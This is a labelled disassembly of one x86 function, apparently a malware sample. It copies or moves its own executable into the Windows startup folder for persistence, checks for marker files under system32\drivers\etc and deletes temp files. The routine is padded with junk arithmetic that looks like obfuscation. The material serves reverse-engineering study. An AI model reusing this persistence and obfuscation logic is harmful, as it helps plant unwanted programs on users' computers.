Function at 0x40b330
Capabilities:
Copy file
Delete file
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
sub esp, 0x304
mov eax, dword [0x458190]
mov ecx, dword [0x456820]
mov dword [esp + 0x300], eax
mov eax, dword [0x45682c]
imul eax, eax, 0x1558c
mov edx, dword [0x45681c]
push esi
mov esi, ecx
imul esi, esi, 0xdd7b
add esi, eax
mov eax, 0x47298a5
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456830]
sub esi, eax
imul edx, edx, 0x8ed2
add esi, edx
mov eax, 0x3e12562b
imul ecx
mov ecx, dword [0x456828]
sar edx, 0xe
add esi, edx
mov eax, edx
shr eax, 0x1f
add eax, esi
mov esi, dword [0x456818]
mov dword [0x45682c], eax
imul esi, esi, 0xd534
mov eax, 0x49f9945f
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x15410
sub esi, eax
add esi, edx
mov eax, 0x302debc5
imul ecx
mov ecx, dword [0x456834]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x3e12562b
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x456834], esi
call fcn.0042a6ad
add esp, 8
cmp eax, 0xffffffff
je 0x40b7f9
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.0042a6ad
add esp, 8
cmp eax, 0xffffffff
je 0x40b7f9
mov esi, dword [0x456818]
mov edx, dword [0x456830]
imul esi, esi, 0x1558c
mov ecx, dword [0x456834]
imul edx, edx, 0xdd7b
sub esi, edx
mov eax, 0x2ff8513b
imul ecx
push edi
sar edx, 0xe
mov edi, edx
add esi, edx
mov eax, 0x47298a5
imul ecx
mov ecx, dword [0x456820]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
shr edi, 0x1f
add edi, esi
sub edi, eax
mov eax, 0x395bd985
imul ecx
sar edx, 0xd
mov ecx, edx
add edi, edx
push 0x104
lea edx, [esp + 0x20c]
shr ecx, 0x1f
push edx
add ecx, edi
push 0
mov dword [0x456818], ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x208]
push 0x5c
push eax
call fcn.0042b120
push str..tmp
lea ecx, [esp + 0x214]
push ecx
lea edx, [esp + 0x18]
mov esi, eax
push str._s_s
push edx
inc esi
call fcn.0042a311
mov ecx, dword [0x456820]
mov edi, dword [0x456818]
mov eax, 0x18008403
imul edi, edi, 0x398f
imul ecx
mov ecx, dword [str._r_____r____]
imul ecx, ecx, 0x107f4
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
mov ecx, dword [0x45682c]
mov eax, 0x3e12562b
imul ecx
mov ecx, dword [0x456834]
sar edx, 0xe
mov eax, edx
add esp, 0x18
shr eax, 0x1f
add eax, edx
sub edi, eax
push 0
sub edi, ecx
push 0x18
lea ecx, [esp + 0x110]
push ecx
sub edi, 0x1558c
push 0
mov dword [0x456820], edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x108]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40b558
push ebx
sub eax, ecx
push esi
lea edx, [esp + eax + 0x110]
push 0x4471a8
push edx
call fcn.0042a311
mov edi, dword [0x456838]
mov eax, 0x246e57b5
imul edi
mov esi, dword [0x456824]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, dword [0x45681c]
imul eax, eax, 0xd534
mov edx, edi
imul edx, edx, 0x1558c
sub ecx, edx
add ecx, eax
mov eax, 0x302debc5
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
sub ecx, eax
mov eax, 0x61082f49
imul edi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
add esp, 0xc
mov dword [0x456828], ecx
xor edi, edi
jmp 0x40b5f0
mov ecx, dword [0x456828]
mov esi, dword [0x456824]
mov edx, dword [0x45682c]
imul esi, esi, 0xffffc9ca
imul ecx, ecx, 0x8ed2
imul edx, edx, 0x1558c
sub esi, edx
mov eax, 0x18008403
imul dword [0x45681c]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
lea ecx, [esp + 0xc]
push 0
push ecx
mov dword [0x456830], esi
call fcn.0042a6ad
add esp, 8
cmp eax, 0xffffffff
je 0x40b64a
lea edx, [esp + 0xc]
push edx
call ebx
inc edi
cmp edi, 0x64
jl 0x40b5e4
mov ecx, dword [0x45682c]
mov esi, dword [0x456834]
mov eax, 0x99b19d5b
imul esi, esi, 0x1558c
imul ecx
add edx, ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456820]
imul edx, edx, 0xab36
mov edi, dword [esp + 0x314]
mov ecx, eax
sub ecx, esi
sub ecx, edx
mov eax, 0x395bd985
imul dword [str._r_____r____]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
test edi, edi
mov dword [0x456838], ecx
je 0x40b6b2
cmp edi, 2
jne 0x40b768
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 4
lea ecx, [esp + 0x110]
push ecx
lea edx, [esp + 0x14]
push edx
call esi
test eax, eax
jne 0x40b762
mov ecx, dword [0x45681c]
mov edi, dword [0x456838]
mov eax, 0x49f9945f
imul edi, edi, 0xe0dd
imul ecx
mov ecx, dword [0x456824]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x302debc5
imul ecx
sar edx, 0xe
mov ebx, edx
add edi, edx
mov edx, dword [0x456830]
imul edx, edx, 0xa8da
shr ebx, 0x1f
add ebx, edi
add ebx, edx
mov eax, 0x3e12562b
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
push 6
add eax, edx
lea ecx, [esp + 0x110]
push ecx
lea edx, [esp + 0x14]
sub ebx, eax
push edx
mov dword [str._r_____r____], ebx
call esi
pop ebx
pop edi
mov eax, 0xfffffffe
pop esi
mov ecx, dword [esp + 0x300]
call fcn.0042a141
add esp, 0x304
ret
mov ecx, dword [0x456838]
mov esi, dword [0x45681c]
mov eax, 0x99b19d5b
imul esi
add edx, esi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, ecx
mov esi, eax
imul ebx, ebx, 0xe0dd
mov eax, 0x302debc5
imul ecx
sar edx, 0xe
sub esi, ebx
add esi, edx
mov ecx, edx
mov edx, dword [0x456830]
imul edx, edx, 0xa8da
shr ecx, 0x1f
add ecx, esi
mov esi, dword [str._r_____r____]
add ecx, edx
sub ecx, esi
add ecx, 0xaaa7
cmp edi, 1
mov dword [0x45681c], ecx
je 0x40b7cc
cmp edi, 2
jne 0x40b7e1
push 0
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x214]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
pop ebx
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x300]
call fcn.0042a141
add esp, 0x304
ret
mov ecx, dword [esp + 0x304]
or eax, 0xffffffff
pop esi
call fcn.0042a141
add esp, 0x304
ret